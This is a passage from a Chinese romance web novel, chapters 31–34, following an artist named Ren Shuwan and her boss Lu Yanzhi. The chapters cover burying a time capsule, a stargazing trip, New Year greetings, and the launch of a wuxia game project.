有私密性较好的隔间, 也有较差的大厅区域。客人可以左侧购买右侧写信, 动线流畅、便捷。 任舒晚逛着买了一个好看的小熊摆件,又挑选了合适的信纸、信封。 前期准备工作结束, 两人买单后选了间安静的隔间。隔间空间小却温馨, 有一套木制桌椅,能容纳两个人相对而坐,桌上放着鲜花、书籍, 还有各色笔、贴纸。 任舒晚跃跃欲试,她看向陆言知, 目光灼灼,“成年后几乎很少写信了,追溯起来的话只记得青春期写过一封寄给十年后自己的信。” 陆言知:“到十年期限了吗?” 任舒晚哑然失笑,“不记得了,只记得最开始很期待, 每天都想打开, 后来久而久之就忘了。现在不知道压在哪个角落, 更不知道里面写了些什么,应该有很多对未来的期待吧。” “我也写过, 在留学期间。”陆言知淡淡开口, “也是写给未来的自己, 但信里写得不是对未知生活的期待,是对当下生活的记录和困惑。” 任舒晚很惊讶,她先入为主的以为这种细腻的心思是女孩子青春期特有的生长痛, 没想到男孩子也会有。 “你的角度好新奇,原来你小时候就这么沉稳。” 陆言知轻笑了声,眉眼柔和,“为什么这么说?” “小时候不都喜欢做白日梦,只想长大只想自由嘛,你居然是在反思和警醒自己诶。” 陆言知:“也不算,我当时只想着为什么代码那么复杂,国外饭菜那么难吃。” “你该不会在信里写饭很难吃吧?” “确实写过的。”陆言知回答的认真。 这一面的陆言知是任舒晚从未见过的,她以为他成功到没有烦恼,没想到青春期也会抱怨。这段对话像几块碎片,突然把陆言知这个人补全,显露出一个真实的、有血有肉的他。 任舒晚:“那你这次要写什么?写给未来还是过去?” 陆言知眉梢微挑,故弄玄虚,“秘密。” “哼。”任舒晚撇撇嘴,“我才不好奇,我也不告诉你。” 她自顾自拿起笔,不再多言,埋头开始写信。虽然已经不记得幼时期待的是什么,但现在她要给童年的自己一些答案,经历、疑惑、疼痛,或许冥冥之中总能传递到小时候。 不知不觉一页信纸填满,最后一句结尾,她率先停笔,抬头去看陆言知时,他也恰好折起信纸。透过厚实的页面,隐约能看到他写了很多,像她一样,满满一页。 任舒晚:“你要留存还是寄走?” 陆言知将信装进信封,“先留存。” “好。我要存在时间胶囊里埋起来,说不定可以带给平行世界里的我,到时候她就能享受开挂人生了。”她美滋滋地做着白日梦。 陆言知笑道:“那你有没有告诉她彩票中奖号码?” “诶!你这才是真开挂呢!” 两人分别扫描二维码下单,片刻后店员过来取信,确认好储存方式,店员问任舒晚,“小姐姐,你是自己埋还是由我们代劳?” 任舒晚眼睛一亮,“可以自己埋?” “当然,不过我们的时间胶囊可降解,埋在地下后就没办法再取出来了。” 任舒晚欣然接受,她没想取出来,“好,那我拿走自己埋吧。” 店员把时间胶囊交给任舒晚,又接过陆言知的信件,“先生,我看你选择的是后续寄出,到时如果想寄信可以在小程序下单,我们会按地址邮寄。没有时间限制,我们店里会永久储存先生的信,随时都可以寄。” 陆言知颔首,“谢谢。” 离开时间邮局,任舒晚将小小的时间胶囊抱在怀里,她仰头看陆言知,试探问道:“你要回民宿吗?” 陆言知:“你累了吗?” “其实……没有。”任舒晚不好意思地抿唇笑了笑,“我是想要爬山去把它埋掉。” 陆言知眸中闪过一丝诧异,“现在?” 任舒晚:“嗯,现在。” 她十分符合火象星座的特征,冲动,深思熟虑后的冲动,上头时可以凌晨三点爬起来骑行去看日出。但显然陆言知的反应透露出他是沉稳靠谱的性格,似乎很少做这种突然的决定。 任舒晚以为他会说回民宿,结果他却不假思索道:“我陪你。” 彼时已接近十点,导航显示从古镇到观星台开车需要一个半小时,并且最后有一段崎岖的盘山路。 陆言知看了看,道:“我来开吧,路况不是很好。” 任舒晚摆手拒绝,有些骄傲道:“我很熟的,放心吧,这是景区修建的盘山路,导航上看着险峻,但路况很好,我夏天经常和朋友开车去看星星。” 陆言知没有反对,点点头坐上了副驾。 小镇的夜晚格外安静,路上车流稀少,灯火阑珊下只有寂寥的街道,平静安详。 他偏头看她,车厢内光线昏暗,只有闪过的路灯偶然照着她的侧颜。都说家庭幸福才会养出恋家的孩子,他之前总以为她很独立,没想到也是那么舍不得故乡。 前半程的路畅通无阻,盘山路也很好开,侧面有护栏,路灯明亮,任舒晚游刃有余,顺利到达上山的检查站。 护林员确认车辆没有携带火种和易燃易爆物品,才放他们上山。 几分钟后,车辆拐过最后一个弯道,眼前豁然开朗,一个巨大的停车场映入眼帘,此时正值冬季,观星台并不受欢迎,只有寥寥几辆车子停着。 下了车,任舒晚轻车熟路地带着他往上山步道走去。 “这里很大,有处古迹遗址,是星光保护区,山顶可以扎营赏星,这可是小众景点哦。” 陆言知轻笑,“任老师很负责了,我这位游客完全不用操心就能看风景。” “那当然了,安总监给的加班费绝对超值。” “加班费?”陆言知微怔。 任舒晚毫无察觉,自顾自往山上走,“对呀,安总监许诺给我加班费呢,如果陆总打算再给我一份,我也不介意。” 陆言知脸色瞬间阴沉,他沉默听完,没有说话。 顺着步道走了一段就到了山顶入口,任舒晚选了一处平坦的位置,掏出手机打开手电筒,找了根合适的树枝,开始在地上刨坑。 陆言知顿了顿,默默道:“我帮你挖。” 没等任舒晚应下,他就伸手拿走了她的树枝。 他的力气大多了,三下五除二就挖出一个小深坑,任舒晚比了一下,大小正好,放进去还能埋很厚的土呢,应该不会被发现。 “就这样吧!” 她把时间胶囊放进去,陆言知便开始填土,蓝色的胶囊渐渐被掩埋,直至完全看不见。 土填平,任舒晚上去踩了踩彻底踩实,又从旁边薅了点乱枝摆上,装作无人接近过的模样。 “好了,我带你去山顶看星星。” 任舒晚拽拽陆言知的胳膊,先一步踏上步道。她走在前面,纤细的指尖还拉着他的衣袖,陆言知垂眸看着,胸口下涌出异样的情绪,瞬间将他吞没。 他很想问,如果没有加班费,她会陪他看星星吗? 但他深吸一口气,把嘴边的话咽了下去。 登上山顶,眼前是一处宽阔的观景平台,有几顶帐篷支着,亲密的情侣们倚靠着彼此聊天看星。 “我和朋友夏天也会带帐篷来,不带帐篷时就去那边台阶上坐。”任舒晚松开他的衣服,遥遥指了指平台往上的台阶,“不过冬天坐在那里太冷了,我们就站着抬头看吧。” 夜色很深很沉,满天繁星闪烁,宛如黑色幕布上坠着钻石,璀璨生辉。 陆言知视线虚虚望出去又仓促收回,落在她身上。风将星火揉碎,吹散在她脸上,她似有察觉,也转头看他。 视线交织,她眉眼仿佛覆了层水雾,让人心动。 陆言知目光紧紧锁定她,这一刻他清晰明了感知到自己的内心,他很喜欢她,真的很喜欢。 任舒晚从他的眼睛中看到很多,她不敢再对视下去,她无法控制心跳,要濒临猝死了。 她慌张移开目光,颤声道:“你怎么不看星星?” “看过了。” “不好看吗?” “好看,很好看。” 陆言知不知道他回答的是什么,或许是星光,或许是她。 气氛微妙升腾,暧昧流转在两人之间,任舒晚再也无法承受此刻的氛围,她呼吸要静止了。 她果断转身往平台上层走,声音随着风传来,“我带你去看这边的展览馆。” 陆言知应了声,旋即跟上。 上层平台是任舒晚口中的古迹遗址,一段残破的城墙,夜色下静静矗立着,像历史留下的传送门。 一侧是一间灯火通明的现代房间,里面展出着有关遗迹的故事和藏品,说是展览馆,其实不如说是露营者的后勤部。 最早展览馆夜间是关门的,后来因为常常有露营者忘带水,景区便把展览馆改为24小时开放,并在里面单独开辟了空间,设置了免费的饮用水和速食贩卖机。 “这里面暖和多了。”任舒晚走在前面引路,“这里在修缮时挖出了不少千年前的陶瓷碎片。” 往里深入就看到有不少供人休息的长椅,任舒晚选中一张坐了下来,又拍拍身边的空位置,“来呀,坐下休息休息。” 陆言知点了点头,脚步刚迈出去,耳边突然传来“哒”的一声轻响,下一秒,眼前瞬间一片黑暗。 停电了。 第32章 第 32 章 他先走了 黑暗中, 任舒晚去拿手机,慌乱下摸索半天才摸到,往外拿的途中却没拿稳摔在了地上。 她僵在原地, 眼前一片漆黑, 什么也看不到, 更不知道手机摔到了哪里。 “陆总?”她着急开口。 下一秒,陆言知的声音立刻响起, 一束冷光随即从不远处射了过来, “我在。” 陆言知捡起她掉在地上的手机,“害怕了?” 她吞了下口水,说不害怕是假的, 尤其还是不太熟悉的环境。 任舒晚:“有点,这么明显吗……” “嗯, 跟那晚你去公司开锁时表情一样。” 任舒晚不自觉蹭蹭鼻尖,那晚最开始她没有很害怕,是后面被他闪过去的黑影吓到了。 陆言知举起手机往周围照了照,“这里晚上应该不断电吧?” 任舒晚:“不断电,可能是线路出问题停电了, 我们出去吧, 保安大叔应该会上报维修。” 两人举着手机亦步亦趋往门口摸索, 周遭黑沉沉的,手电筒的光照在展览柜的玻璃上, 反射出白炽的光线, 看上去让人头皮发麻。 任舒晚越觉得吓人, 越忍不住去照,奈何周围玻璃太多了,往哪里照去都影影绰绰, 像有无数人虎视眈眈围着他们。 她加快步伐跟上陆言知,陆言知察觉到她的异样,偏头看过来,“怎么了?” 她表情不自然,“没,好黑。” “不用怕,我在。”陆言知沉缓的声音落下,像一把老旧的木椅,稳稳承托住她的不安。 下一秒,一双温暖干燥的大手握住她微凉的指尖,驱散她心头的恐慌。她有一瞬失神,就那么傻傻跟着他的步伐,手中的温暖并不汹涌,却极为牢靠,像冬日深埋在木炭下的一点暗火,不声不响地烧着,暖意聚拢,从心口最深处一丝丝渗出来,慢慢涨满整个胸腔。 她呼吸不由自主缓了下来,眼前的景象朦胧柔和,宛如误入一场真实的梦境。 陆言知带着她走出了展览馆,在门口遇到值班的保安大叔,他似乎同大叔说了几句。任舒晚其实是没听清的,她只是愣愣望着他的侧颜,他是喜欢她的吧,但这份喜欢能维持多久呢?答案不可而知。 她恍然惊醒,挣脱开他的手,他愣了一下,没有看她,只是默默把手收回口袋。 从观星台下山,她拒绝了陆言知送她回家,而是把他送到了古镇西门。 此时已近凌晨两点,透过落下的玻璃窗,他眉眼隐在明暗交织的光线下,晦暗不清。 “注意安全,到家报平安。” 任舒晚点点头,仓皇开车离开,像战场上的逃兵,怂得不敢面对现实。可她心里好乱,像一团乱麻,找不到源头,理也理不清。 到了家,她轻手轻脚打开门,玄关换鞋的工夫,任妈从卧室走了出来,睡眼惺忪,“怎么这么晚才回来?” 任舒晚看了眼任妈,像撒娇小狗似的,带着一身凉气扑到妈妈的怀里,小声道:“和朋友去看星星了。” 任妈顺着她的后背,语气温柔,“有心事?” 她闷在妈妈颈间摇了摇头,“没有,只是想妈妈了。” 任妈:“等过几年我和你爸爸退休了,我们就去临城照顾你。” “嗯,那我希望时间快一点。” 任妈轻笑,“傻孩子。” 她吸吸鼻子,离开任妈的怀抱,“你快去睡吧,妈妈。” 任妈:“那你也早点休息,不要总熬夜。” 任舒晚回卧室换下睡衣,给陆言知发了消息,他回得很快,发给她一张民宿小院的照片,看角度是从落地窗位置拍得院子。 [我也回来了,早点休息。] 任舒晚:[好,晚安。] 陆言知:[晚安。] — 翌日,任舒晚定了闹钟,却在闹钟响铃前便从梦中醒来,这一觉睡得并不好,一夜半梦半醒,做了很多没头没尾的梦。 她揉揉眼睛打开手机,看到半小时前安逸给她发了条信息,细细一读,瞬间清醒。 [小任小任,你解放了,陆言知一早回临城了,你不用管我们了,我俩自己玩。昨天辛苦你了,谢谢你的款待,若若让我带话给你,她说等回临城约你出去玩。] 任舒晚盯着屏幕心情复杂,陆言知为什么突然回去了?他昨晚怎么没说?是突然有急事吗? 她简单回了安逸,鬼使神差地点开陆言知的聊天框,指尖刚触上对话框想打字,又犹豫地缩回手。 她问什么呢?问他是不是回临城了?这不明知故问。如果问他是不是有急事呢?身为大老板临时有事需要处理也很正常,问这个似乎也显得没话找话了。 她关掉聊天框,算了,安逸已经告诉她了,她问什么都显得多余。 彼时,陆言知指尖抵着下巴望向车窗外,神色淡漠。今天青湖镇天气很好,呼啸的北风凛冽,将乌云吹了个干净,留下湛蓝的天空。 可是风那么大,他的阴霾怎么吹不散呢? 他垂眸看向手机,屏幕还亮着,安逸说已经告诉她,她也回复了,那为什么她不来问问他,问他为什么忽然离开? — 元旦假期结束,上班第一天所有人都委靡不振,任舒晚也不例外,踩着点打卡,又耸拉着脑袋去参加美术部例会。 年前还有不到一个月的时间,农历已经进入腊月,安逸总结了年底前的任务安排,又带来了一个新消息,新手游项目落地,年后开始组建核心团队,美术组有五个名额,有意向申请的可以提前准备了,年假上班后会很快开始报名、筛选。 他大致说了下项目背景,是一款以唐朝为背景的武侠MMOPRG类手游。提到武侠类任舒晚就已经动了心思,她目前虽晋升到中级,但还没有固定项目组,新手游是个不错的机会,武侠类也是她比较擅长的。 心思落定,她把计划写在了备忘录里,从今天起每天完成相关的练习,年后便能应对自如。 之后的时间,任舒晚除了完成每天安排的工作,其他摸鱼时间就掰着手指数放年假的日子。 自从元旦假期后,她心情莫名其妙的很差,干什么也提不起劲,每天不是想回家就是想睡觉,祝笙连着说了好几天让她去找神婆算一下,她都是摆摆手说不信。 这段时间邓嘉霖也约过她几次,她都以忙推掉了,后来他又委托祝笙来问她,她只是说懒得社交懒得见面,于是邓嘉霖改为每天线上找她闲聊。 到了月中发工资,任舒晚到手的工资整体上调,高了不少,除此之外,安逸答应她的加班费一分不少。 她只招待了陆言知一天,但加班费是三天的,算是带薪休了个元旦假期。 想到陆言知,她又莫名情绪消沉,从假期后她还没见过陆言知,他似乎挺忙的,大约是因为新项目的事情,偶尔听小庄说起,说他几乎天天加班到深夜,第二天还能准时出现在公司,小庄说怀疑他不用睡觉。 任舒晚垂下眼睑,现在想来,青湖镇那一夜更像梦了。 周五下午,任舒晚微信收到江一若的好友申请,添加通过后,江一若十分热情的发来小猫表情包打招呼,紧接着问到:[晚上有时间吗?我们去吃意餐,超好吃的pizza~] 任舒晚下意识想拒绝,江一若又发来一句,[介意带着安逸和陆言知嘛,让他俩买单。] 熟悉的名字映入眼帘,任舒晚顿了顿,回到:[好,不介意。] 手机那边的江一若收到回复,长长舒了口气,立刻截图给安逸发过去,[我可以了,你怎么样?] 安逸:[我也ok,你还不知道陆言知啊,只要说有小任,他都不用思考的,如果现在你说小任要去跳楼,他能不带脑子的抱着她一起。] 江一若:[那你问没问出他俩怎么了?] 安逸:[没问出来,陆言知那嘴就跟缝起来了似的,什么也不说。据我观察,最近小任也心不在焉的,那天开会,她看着人是在,感觉魂儿已经走好远了。] 江一若断定,[他俩那天晚上一定发生了什么!!] 晚上下班,江一若来接任舒晚,两人在停车场碰面,等了一会儿,安逸和陆言知便从电梯口走来。 十几天没见,任舒晚觉得陆言知瘦了些,下颌线比之前更清晰了。四目相对,他望过来的目光沉黯,她心脏猛然抽动一下,一股说不清的情绪涌上心头。 她眨眨眼,躲开视线,耳边随即响起陆言知的声音,“过来,坐我的车。” 她愣怔一瞬,抬头再次望过去,他确实是在和她说话,目光一动不动落在她身上。 “哦,好。”她乖巧应下,回头看了眼江一若,江一若微笑对她点头,她才挪着步子走向陆言知。 坐上熟悉的宾利,她沉默系安全带,陆言知没动,偏头看她,“怎么不问我为什么走?” “啊…”任舒晚一愣,“我以为你有事情。” “有事情你就不问一声?导游这么不负责任,游客先退团都不过问。” 她撇撇嘴,抬眸看他,他眼睛生得好看,瞳仁是如墨的黑色,他就用那抹黑凝视着她,她有些心虚,“游客提前退团是游客的问题,导游很到位了……” 陆言知冷哼一声,“歪理。” 任舒晚抿抿唇,“那你去干嘛了?为什么提前走?” 陆言知深深看向她,旋即偏头启动车子,嘴角勾起一抹淡笑,“因为导游没跟我预约第二天行程,我以为只包一天,就自己收拾铺盖走人了。” 任舒晚:“你才是歪理,刚刚明明说自己提前退团,现在又变成我的问题了,哼!” 陆言知:“前面是假的,后面是真的。” 这下换任舒晚不会了,他这话什么意思,在承认自己说谎了嘛? 她咬咬唇,“那我想着你第二天睡到自然醒,我再带你去吃早餐,去逛我学校的,谁知道你突然一声不响的退团,你离开都不自己跟我说,还让安总监告诉我,说到底就是你的问题。” 她话说出口,就一股脑把委屈情绪都宣泄了出来,他还埋怨她,明明就是他不仁义,她提前定了闹钟,早早就要起来待命,他却说走就走。 陆言知沉默一瞬,无奈侧头看她,正对上她含怒的双眸,他举手投降,“好,我的错,我的错,我怎么就不告而别呢,都怪我,给我个机会赔礼道歉?” 任舒晚哼了一声,“陆总没错,我可没说陆总有错,是你自己说的哦。” 第33章 第 33 章 新年快乐 “是, 我深刻反思,发现了自己的错误。”陆言知言辞恳切,嘴角含着轻淡的笑容, 不像在认错, 倒更像在哄小孩。 任舒晚瞥他一眼, 又红着脸地转开头,什么嘛, 怎么之前没发现他这么油嘴滑舌的。 半个小时后到达餐厅, 下了车,安逸和江一若见到两人后目瞪口呆,刚才在停车场还气氛古怪的两人, 怎么一段路程的工夫就喜笑颜开了,尤其是陆言知, 丝毫不见最开始的失意模样,一整个意气风发。 安逸挽着江一若手臂小声嘟囔,“病情相同才能走到一起,我看好他们。” 江一若点头认可,“咱俩早晚有福报, 如此卖力促成一段姻缘, 老天看了都忍不住感动!” 江一若提前预约了包间, 入座后便开始点餐,前菜点了一份蜜瓜配风干火腿, 今天是餐厅限定pizza日, 于是主菜点了四种那不勒斯经典口味的pizza, 又点了烤鲈鱼、碳烤眼肉牛排,和意餐必备的葡萄酒。 餐厅份量适中,四人风卷残云, 光盘行动,一点没剩。 一顿饭欢歌笑语,任舒晚和陆言知之间模糊的矛盾也成功消解。 — 一晃到了年底,任舒晚终于迎来最盼望的年假,她没能抢到假期前一天的车票,不过好在公司十分人性化,最后三天可以请假,抢到哪天回家的票就哪天报备请假。 任舒晚腊月二十八下午的车,她中午陪祝笙吃完饭就回了出租屋,先给元宝收拾好东西,年假时间久,她不放心元宝自己在家,于是把它委托给了陆言知。 陆言知接上“孩子”,又等她收拾完东西,送她去车站。 年底春运高峰,高铁站人满为患,陆言知的车停在落客暂停区,他下车帮任舒晚拿行李,任舒晚忙挥挥手,“陆总你快回去吧,拜拜。” “嗯。”陆言知看向她,目光温柔缱绻,“注意安全,到家报平安。” 任舒晚抿唇浅笑,眨了眨眼,“新年快乐,年后见哦。” 陆言知:“年后见。” 她转身走进进站口,安检队伍排得很长,几分钟后才取完行李,她在检票口附近好不容易找到个空位置坐下,屁股挨着椅子还没五分钟,身边忽然出现个身影,紧接着响起一个熟悉的男声,“Hello,好巧啊,任舒晚。” 任舒晚闻声抬头,映入眼帘的是邓嘉霖的脸,他戴着一顶黑色棒球帽,脸上化了淡妆,干净精致,手边推着一个大号行李箱,上面还放了几盒临城的特产。 任舒晚惊讶地打量他,“你怎么在这?!” 邓嘉霖朗声一笑,“我回家,跟你一趟车。” “嗯???”任舒晚瞪大眼睛,“你老家是?” “向城。” 任舒晚了然,向城离青湖镇不是很远,算隔壁的隔壁,她做得这趟车终点站就是向城。 任舒晚:“这太巧了,居然能碰到。” 邓嘉霖笑了笑,“其实不算巧,是我刻意为之,那天打游戏我听到你跟祝笙说抢票来着,我就留意了一下。” 他说得诚实,倒不引任舒晚反感。 她环视一眼四周,远处有个连坐的两个位空着,便道:“我们去那边吧。” 拉着箱子换了位置,两人并排坐着闲聊,邓嘉霖问道:“你年假休几天?” 任舒晚叹口气,“法定节假日那几天呗,不过我们公司相对人性化,假期前后能有两三天的缓冲余地,你呢?” “我们也是,不过我们没有余地,所以我早早就得回来。” 任舒晚歪头,好奇道:“在家不能直播吗?” 邓嘉霖:“比较难,家里电脑配置跟不上,打游戏很卡,笔记本也不好操作,所以还是得早回来。你定的哪天回来?我们还能碰到吗?” “我是假后第一天,听你这么说应该碰不到了。”她之前没有透露自己回来的票,想来邓嘉霖也预料不到。 邓嘉霖:“确实碰不到了,我假期最后一天就回来了。等年假回来后约你吃饭,应该有时间的吧。” “这么早就约半个月后的事情啊,我可不敢答应你,年后有新项目,好忙呢。”任舒晚打着哈哈,她对邓嘉霖的示好略有感知,但她只把他当朋友,所以不愿意给他错觉。 邓嘉霖愣了一下,缓缓问道:“你是有男朋友了吗?” 任舒晚微怔,挑眉看他,“没有,为什么这么问?” 邓嘉霖:“上次送你回去,你说你朋友来找你,当时看你很开心,我以为是男朋友。” 任舒晚哑然失笑,“不是,普通朋友。” “原来如此。”邓嘉霖顿了顿,似乎下定决心,道,“那你需要男朋友吗?你看我可以吗?” 任舒晚一时语塞,他就这么水灵灵说出来了,她一时间都不知道该怎么接话。 沉默片刻,她措辞道:“抱歉,我暂时没有恋爱的想法,也一直把你当朋友看待。” 她话出口,邓嘉霖忽地松了口气,他有了心理准备,听到意料之中的答案反而如释重负,他笑了笑,“其实我猜到了,就是不死心还想问你一句,现在得到答案反而不难受了。既然没有缘分,那以后就做朋友吧,朋友更长久啊,对吧。” 邓嘉霖看得开,他比较相信缘分,两个人没缘分也不是能强求的。 他见任舒晚没说话,笑道:“你不会有压力了吧,该不会朋友也不和我做了吧,我很容易放下的,你别多想。” 任舒晚失笑,“当然不是,朋友好啊,我还等着你带我打游戏呢。” “没问题,我可是上分好搭子。” 随着到了检票时间,过闸机上站台,两人在不同的车厢,于是从电梯口分道扬镳。 窗户纸戳破,任舒晚压在心上的石头落下,邓嘉霖很好,不过并不是她心动的类型,尽早说开倒更好。 两个半小时的高铁路程,下车时她屁股都坐麻了,她给陆言知发消息报了平安,他回得很快,还发了一张自己办公桌的照片,似乎在控诉老板上班,员工先回家过年了。 她笑着打字:[陆总好好工作,别摸鱼。] 紧接着陆言知又发来一张照片,原本空荡的桌上多了一沓文件,[1收到,任老师。] 她笑着收起手机,检票出站。 任爸在出站口等她,开着小汽车一会儿就到了家。 年假的幸福时光正式开始,任舒晚每天睡到自然醒,吃吃喝喝玩一天,肚子撑得溜圆,饱嗝一个接一个。 到了除夕夜,她更是大吃特吃,任爸厨艺好得不行,做了一桌没事,她啃完海鲜又连吃两碗饭,撑得连忙拦下饭后洗碗、打扫厨房的重任。 晚饭结束,家里的亲戚陆陆续续聚到任舒晚家,他们大家族有个不成文的规矩,除夕夜轮流去各自家中凑局,打麻将的打麻将,打扑克的打扑克。任舒晚不会麻将,牌技又极差,一般都是陪弟弟妹妹们打游戏,除非哪一桌缺凑手的了,她才会被召唤去。 比如今晚开了两桌麻将,扑克组缺个人,她就被任爸呼唤了去。她一边打一边学规则,任爸笑她年年打年年忘,不过好在每年似乎都有新人光环加持,赔不了,还能跟着大佬小赚一点。 到了零点,外面响起此起彼伏的鞭炮声,大片大片的烟花腾空,在夜幕下接连炸开,五光十色,照得宛如白昼。 所有人都放下手中的麻将、扑克,围在窗前看,任舒晚也不例外。 她盯着夜空的烟花,脑海忽然浮现一张脸,眉目深邃柔和,唇畔浅笑荡漾。 也不知道陆言知在干嘛…… 思绪刚落下,手机忽然在睡衣口袋震了一下,她心脏一紧,像做小动作被老师抓包的小孩,连忙钻出人群掏手机。 熟悉的名字出现在通知栏,她迅速点开,就看到陆言知发来的新年祝福,和一个大大的红包。 她莞尔,含笑戳着屏幕打字,[陆总好大方,我还没拜年就有红包收嘛~] 陆言知:[拜了年有更大的惊喜 。] 任舒晚立刻打字:[新年快乐陆总,祝你新的一年更加幸福,岁岁平安,万事胜意!] 说罢,她问心无愧地收下红包。 陆言知接着发来一个视频,视频中是黑黄两小只,穿着新的红色围兜,在陆言知的指挥下抬着前爪做拜年的动作,一个接一个,甚是喜庆。做完后,每兔得到一块胡萝卜的奖励,抱着啃得欢。 视频最后,陆言知的手隐到镜头后面,视频中只剩两小只的身影,她刚要关掉,一声低缓的祝福突然传来,“新年快乐,任舒晚。” 任舒晚抱着手机,鼻头一酸,转身小声嘟囔了句,“新年快乐。” 她关掉视频,钻回卧室,用语音回了句新年快乐,又问道:“你干嘛等到最后一秒再说。” 等了半分钟,陆言知也回了一条语音消息,声音从听筒里传出来只觉更加磁性好听,“看你会不会看到最后一秒。” 任舒晚听完又听了一遍,除了他的声音,背景里依稀还有小孩大笑的声音。 她回复:[差一点点就错过了,不过还好没错过。] 陆言知:[没事,如果这次错过,下次我会再提前一点。] 任舒晚心脏微动,像口中含了颗糖,甜得恰到好处,顺着喉咙一路甜下去,不声不响漫向四肢百骸。 — 过了除夕后,假期就像开了倍速,睁眼闭眼就是一天,任舒晚还没享受够无忧无虑的日子,就到了收假前的最后一天。 她起了个大早,决定珍惜在家的最后一点时光,给爸爸妈妈做完早餐,她吃了一口便下楼散步,途中看了影院的票,买了一场时间合适的喜剧片。 回家后等爸爸妈妈吃完饭就出发去看电影,一上午眨眼过去,吃过午饭后她便出发去车站赶车。 每次离开家都有不舍,任妈答应她下个月周末去临城看她,她才忍住掉小珍珠。 上了高铁,她意外收到陆言知的消息,问她几点到临城。 她很意外,[陆总怎么知道我下午回去,神算子啊!] 陆言知:[人事都有记录。] 任舒晚:[哦对,我五点多到,我放下东西就去接元宝。] 等了一会儿,陆言知回了个“好”。 两个半小时的车程,她睡了一觉就快到了,临近下车时,还不到五点,陆言知再次给她发消息,并发来一张图片,是高铁出站口的照片。 任舒晚:[!!!你来接我啦?!] 陆言知:[嗯,几点下车?] 任舒晚看了眼时间,[再有十分钟。] 陆言知:[还有它们。] 紧接着一张照片发来,煤球和元宝窝在兔包里,透过透明窗瞧着镜头。 任舒晚瞬间被萌化了,恨不得立刻跳下车。 第34章 第 34 章 抄袭? 出站口, 任舒晚一眼看到人群中的陆言知,他今天着装正式,西装三件套, 应该是从公司直接来的, 手里提着兔包, 头微微歪着,视线交汇后, 唇角上扬露出一抹淡笑。 任舒晚推着行李箱小跑出闸机口, 嘴里喃喃喊着,“元宝,煤球, 我来啦——” 陆言知眉梢抽了抽,早知道不带这两小只来了, 直接把她的视线抢走了。 心里这么想着,他还是把兔包递上前,从善如流地接下她手里的行李箱,一切自然和谐,像排练过无数遍, 双方都熟稔无比。 走出人群, 任舒晚忍不住拉开兔包, 两小只立刻凑上来问她的气味,尤其元宝, 甚是激动, 闻到熟悉的气息后在兔包里蹦个不停, 恨不能立刻钻出来和妈妈亲热一番。 煤球见状也不甘示弱,像比谁跳得高似的,都往任舒晚手里扑, 任舒晚被哄得开心,指尖蹭完这个蹭那个,一点不偏心。 她一边逗着两小只,一边偏头道:“谢谢陆总的照顾,元宝都胖了一圈了,它没拆家,没给你添麻烦吧?” 陆言知沉吟道:“家没拆……” 他微顿,抬起垂着的左手,手背上两道明显的划痕,不算深,已经结了痂,显然不是近几天的事情了。 任舒晚瞪大眼睛,“它抓你了?” “到家第一天晚上抓的,喂它兔粮的时候,它把粮掀翻,我去捡碗,它冲上来挠的。” 任舒晚恨铁不成钢地戳了戳元宝地脑袋,“小没良心的,居然还学会挠人了。” 教训了一通元宝,她看向陆言知,“你去打破伤风了吗?” 陆言知:“几个月前打过一针,煤球发情期咬过我,医生说不用补。” 任舒晚:“那就好,等我回去好好教训它,让它给你道歉。” 陆言知轻笑一声,瞧了眼兔包里的元宝,慢条斯理道:“不用,它现在已经和我友好相处了。” “嗯??怎么做到的?” 在任舒晚印象里,元宝可倔强得很,居然就轻松屈服了! 陆言知:“每天好吃好喝伺候着,再挠我可就说不过去了吧。” 任舒晚扑哧一下笑出声,原来是美食诱惑哄好的。 — 年假结束,开启新一年的牛马日常。 公司新项目《剑指江湖》正式启动,美术部下发最新通知,组建美术组核心团队。 任舒晚早早填了报名表,一周后命题公布,是她比较擅长的武侠风格,在意料之中,她信手拈来。 五天的时间准备稿子,到交付日期没能上交则视为放弃。任舒晚很珍惜此次机会,不敢耽搁,每天都在构思和画稿。 经过不懈努力,她如期交稿,流程走得极快,截稿当天周五,过了个周末回来便公布了成员名单,任舒晚名列其中,除此之外,她还在名单中看到一个熟悉的身影——骆珊。 公司要求每位画师可以正式参与两个项目,骆珊是符合要求的。不过任舒晚还是很惊讶,破晓的项目已经足够忙了,她居然还有魄力申请新项目,够拼的! 核心团队组建完成,当天下午召开项目组会议,任舒晚看到会议室开会的人员就知道公司对这款游戏有多上心了。 陆言知作为游戏总制作人,主策、主程都是公司元老级别,项目主美也由安逸胜任,这么强的人员配比,很难不火吧! 任舒晚对新项目信心满满,她无比盼望游戏出圈,钱大把大把的赚,她奖金翻倍翻倍的涨。 简单开场白后,直切会议主题,策划组给出了游戏概述,用清晰的流程图描述了核心玩法循环,介绍了商业化框架,经济系统和初步设计付费点。 紧接着安逸为美术风格定调,出具核心参考图、主界面风格和角色设定方向。 目前确定有六个角色门派,所有画师抽签决定设计哪个角色。 美术组抽签的空隙,程序组那边已经开始讨论关键技术难点和开发周期。 会议室里讨论声音此起彼伏,任舒晚脑袋里乱哄哄的,看着丢在桌上的纸团,她随机选了一个,打开一看,门派“悬命阁”。 此门派以毫针和傀儡为武器,定位是远程输出,操控傀儡控制敌人,再以毫针为主要伤害,做到一击毙命。 任舒晚最喜欢的是那个用扇子作为武器的门派,可惜没能抽到,不过好在她对悬命阁也算有灵感,看到介绍时就冒出一些碎片化的想法。 大会议结束美术组又组织小会议,安逸提出每个门派都要有特色,不能扁平化、同质化,所以会议的目标是根据门派背景和现有的思路讨论如何能做到不看武器,单看服装和动作区分出门派。 会议室里众人面面相觑,骆珊率先开口打破沉默,“我先来说一下想法吧。以我拿到的真武门派来举例,首先服装上我认为以蓝白色为主,布料要选择轻盈有质感的,突出仙风道骨的气质,其次身材绘画上要相对消瘦纤长,一眼看过去就能和其他门派区分出差别。” 安逸点了点头,算是认可。 按着顺序,其他画师也依次用自己拿到的门派举例表达。 任舒晚垂着眼睫听得认真,比起其他画师的想法,她好像有些落俗了。 正出神思考之际,安逸的轻唤打断她的沉思,她恍然抬头,抱歉道:“不好意思安总监。” 安逸:“说说你的想法。” 任舒晚微微颔首,“我看了一下悬命阁的门派背景,他们再江湖上属于暗探组织,所以我想给人物添加一张面具,增添神秘感,服装上以机甲类型为主。” 安逸点头,“可以,还有吗?” 任舒晚顿了顿,“我想给男性体型画得胸肌大一点,这样穿机甲应该很好看。” 话音落,会议室陷入短暂沉默,画师们面面相觑,有的好奇,有的嗤之以鼻。 任舒晚不是那种在意别人看法的人,她们在想什么,以什么样的眼光看她,她都无所谓,她只是想知道自己这个想法能不能被通过。 